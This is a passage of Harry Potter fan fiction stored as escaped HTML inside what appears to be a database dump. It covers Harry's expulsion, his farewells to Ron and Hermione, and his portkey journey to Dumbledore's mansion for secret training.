style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nturned around and walked back to his friends.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron&#8230;Hermione&#8230;let&#8217;s\ngo.&#8221; The two followed him without hesitation, leaving Draco Malfoy seething once\nagain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Once\nthey were out of earshot, Hermione grabbed Harry&#8217;s arm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nplease tell me it&#8217;s not true?&#8221; she nearly begged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nafraid it is, Herm.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nhow, you&#8217;re Harry Potter; they can&#8217;t expel you!&#8221; Ron gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\ndidn&#8217;t matter to Minister Fudge; he said rules were rules.&nbsp; I&#8217;ve got three\ndays before I have to leave.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Three\ndays?&#8221; Hermione was almost shivering, and Harry took her in his arms. &#8220;This has\nto be a bad dream.&nbsp; Tell me this is a bad dream.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shh.&#8221;\nHarry smoothed her hair with his fingers, and she put her head on his shoulder.\n&#8220;Don&#8217;t worry, we&#8217;ll get through this.&nbsp; I promise.&#8221; Hermione nodded in\nreflex, but her heart broke at the thought of him leaving her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nspent the next three days saying goodbye to his friends.&nbsp; Hagrid had spent\nten minutes cleaning out his ears just to make sure that he&#8217;d heard\nright.&nbsp; Pavarati and Lavender were stunned to say the least, and Neville\nand Seamus weren&#8217;t much different.&nbsp; Even Professor McGonagall was sad to\nsee him go.&nbsp; Not to mention that his fellow quidditch team members were\nmortified as his sudden departure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Above\nall, Harry made sure to spend as much time as he could with Hermione.&nbsp;\nThey&#8217;d sneak out at night and spend hours outside stargazing.&nbsp; She would\nlie in his arms, and he would kiss her hair as she hummed under her breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">During\nhis final day at Hogwarts, Harry was once again summoned to Dumbledore&#8217;s\noffice.&nbsp; He made sure that his trunk was packed, and his things in\norder.&nbsp; Making his way passed the gargoyle statue, his emerged in the\nfamiliar room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nProfessor?&#8221; Dumbledore stood up from behind his desk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI know that we talked about this, but I&#8217;m sure that it still hurts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Like\nnails on a chalkboard, sir.&#8221; Dumbledore reached into his robes and handed Harry\na piece of parchment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;When\nyou arrive in Hogsmeade, go to this address.&nbsp; As I told you Harry, we must\nprepare for what is ahead &#8211; you most of all.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis this for sir?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmay be expelled from Hogwarts, Harry, but not from learning magic.&nbsp; You&#8217;re\ngoing to train.&nbsp; I&#8217;ve contacted some old friends of ours; they will meet\nyou at your final destination.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nlisten carefully, you are going to learn things that no other Hogwarts student\nwill know.&nbsp; In fact, you shouldn&#8217;t even be learning them for another\ntwenty years.&nbsp; You must promise that you will tell no one of what you\nlearn; it would be very dangerous.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nhave my word, Professor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good.&nbsp;\nWell then, until we meet again, goodbye Harry and good luck&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, sir, I will always remember this place as my home.&#8221; Harry walked out of\nDumbledore&#8217;s office for the last time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That\nafternoon, it was finally time to say goodbye.&nbsp; Harry walked out the main gates\none last time and turned to look up at the castle that held so many memories\nfor him.&nbsp; He looked at the small group that followed him.&nbsp; He\nrealized that these people had become his family.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After\nsaying goodbye to almost everyone, he came to the last three:&nbsp; Hagrid,\nRon, and Hermione.&nbsp; Harry hugged his old friend, and the half-giant had\ntears streaming down his cheeks.&nbsp; He felt like he was losing a son.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now\nHagrid, behave yourself while I&#8217;m gone.&nbsp; No more escapades with exotic\ncreatures okay?&#8221; Harry teased.&nbsp; Hagrid sniffled and nodded his head.&nbsp;\nNext came Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;C&#8217;mere.&#8221;\nRon grappled him in big, bear hug, and Harry held onto him with all he had.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay\nair!&#8221; Harry gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, Harry, we&#8217;ll get you back in, somehow,&#8221; Ron said firmly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nokay, but thanks for the kind thought.&nbsp; Look after the place for me,\nokay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\ngot it, buddy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">One\nlast person&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nlooked at the young woman who had stood by him through thick and thin &#8211; through\nhell and high water.&nbsp; He lifted his hand and faced his palm up.&nbsp;\nHermione already had tears pouring down her cheeks, but she reciprocated and\nplaced her palm over his.&nbsp; Their fingers entwined, and Harry tugged her\ninto his arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nshe cried and dove into his arms.&nbsp; She bawled her eyes out, and he\ncouldn&#8217;t help but feel his eyes moisten as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, sweetheart, we&#8217;ll see each other again real soon.&nbsp; I promise you\nthat.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmean it?&#8221; she asked as her head popped up.&nbsp; Harry cupped her cheek in his\nhand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;With\nall my heart, Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you, Harry Potter.&#8221; She poured all of her heart into that statement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nI love you, Hermione Granger,&#8221; he replied, sending her his heart in\nreturn.&nbsp; No more words were needed as their lips came together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nclutched her in his arms, and Hermione hung onto his neck for dear life.&nbsp;\nThe two teenagers pressed up against one another, wanting to implant this in\ntheir mind for the rest of their lives.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Finally,\nthey separated, but Harry did not release her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nleft Hedwig in the owlery, Hermione.&nbsp; If you need to find me, send her,\nand she will.&#8221; He kissed her one last time and let her slip from his arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Until\nnext time.&#8221; Harry gave his friends a warm smile and boarded the longboat that\nwas waiting for him.&nbsp; Hermione&#8217;s hands were trembling, and Ron put a\ncomforting hand on her shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Slowly\nand steadily, the boat made its way out onto the lake.&nbsp; Harry watched as\nhis friends grew smaller and smaller.&nbsp; He squinted trying to catching a\nlast glimpse of Hermione.&nbsp; He saw her, and she mouthed a single phrase &#8216;My\nheart is with you.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nmine is with you,&#8221; Harry said out loud.&nbsp; He watched until she and the\nothers were completely out of site then turned around and sat down until he\nreached Hogsmeade.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 7, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Upon\ndisembarking at Hogsmeade Station, Harry borrowed a trolley and loaded his\nthings on board.&nbsp; He looked at the address that Dumbledore had given him\nand went up to a peddler on the corner.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Excuse\nme?&nbsp; Could you tell where I can find this place?&#8221; The peddler looked at\nthe numbers and laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nboy, that&#8217;s easy; it&#8217;s the Three Broomsticks.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou sure?&#8221; Harry gawked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Absolutely.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Anytime.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas confused but made his way towards the familiar building.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He\nentered the wooden building to hear sounds of chattering from various customers\nthroughout the place.&nbsp; He walked up to the counter and smiled at the\nslightly plump woman behind it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Excuse\nme, ma&#8217;am?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nMr. Potter, how nice to see you.&nbsp; What can I get for you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing,\nthank you.&nbsp; I was wondering if someone is waiting for me, or if a message\nwas left for me?&#8221; The clerk smiled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nyes, as a matter of fact&#8230;&#8221; she reached into her apron and took out a rolled\npiece of parchment, &#8220;&#8230;here you are, lad.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, ma&#8217;am,&#8221; Harry answered and unrolled the scroll.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Inside\nit read:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When\nyou are ready, hold this parchment in your hand and say &#8216;Xanthus&#8217;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Following\nthe directions, Harry walked back outside where his things were waiting for\nhim.&nbsp; He put his free hand on the trolley and looked at the instructions.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nhere goes&#8230;Xanthus.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He\nfelt like he was being pulled very hard, and suddenly, Harry found himself\noutside a very large mansion.&nbsp; The parchment had been a portkey.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nyoung man looked around at the wonderful scenery.&nbsp; Everything in site was\ngreen, and there was a fountain in the center.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nMr. Potter, there you are.&#8221; Harry turned to see an elderly man in a tuxedo\napproaching him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How\ndo you do, my name Mathis, I&#8217;m the chief of staff.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hello\nsir, may I ask where I am?&#8221; The old man chuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of\ncourse, how rude of me.&nbsp; Welcome to the house of Albus Dumbledore.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221;\nHarry nearly screeched.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nmy, the master did not tell you did he. &nbsp;Well, at least you&#8217;re here now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nI thought that Professor Dumbledore lived at Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dear\nboy, he&#8217;s not always been at Hogwarts.&nbsp; He comes here when he wants time to\nrest, or if he must entertain some guests.&nbsp; Anyway, enough of my babbling\nplease follow me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nfollowed the man up a long sidewalk towards the massive three-story\nhouse.&nbsp; It was incredible.&nbsp; It could compete with the Palace of\nVersailles in a beauty contest any day.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nplace is wonderful,&#8221; Harry said in wonder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, Mr. Potter, the master has always had good taste.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nI&#8217;m sure, but please, call me Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As\nyou wish, my son.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nthe pair approached the massive wooden doors at the front of the house, Harry\nwas not surprised to see them open by themselves, and Mathis ushered him\ninside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nway, please, the others are already here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Others?&#8221;\nHarry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nyes.&nbsp; Didn&#8217;t the master tell you?&nbsp; You are to receive special\ntraining are you not?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nhe did mention it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good.&nbsp;\nYour trainers are already here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ngulped.&nbsp; He wasn&#8217;t the best person in world at first impressions, and now,\nhe was going to have to meet some special trainers who were supposed to teach\nhim the highest levels of magic.&nbsp; His stomach began to turn, and he gulped\nsilently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Despite\nhis nervous, Harry still managed to gaze around at the inside of the\nhouse.&nbsp; It looked very 